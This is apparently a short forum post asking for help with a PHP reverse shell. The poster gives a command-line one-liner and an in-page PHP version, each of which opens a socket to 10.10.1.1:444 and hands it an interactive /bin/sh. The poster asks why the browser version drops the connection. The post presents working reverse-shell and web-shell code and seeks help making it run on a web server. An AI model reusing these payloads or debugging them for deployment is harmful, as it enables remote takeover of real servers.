Hello,
I have been testing this one line of code to get a TCP shell connection:
php -r ‘$sock=fsockopen(“10.10.1.1”,444);exec("/bin/sh -i <&3 >&3 2>&3");’
It works fine when I run it from the command line, but when I run it from a browser as the following:
<?php $sock=fsockopen("10.10.1.1",444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>It connects and drops straight away without any shell.
Has anyone any insight as to what the solution is to get this to work?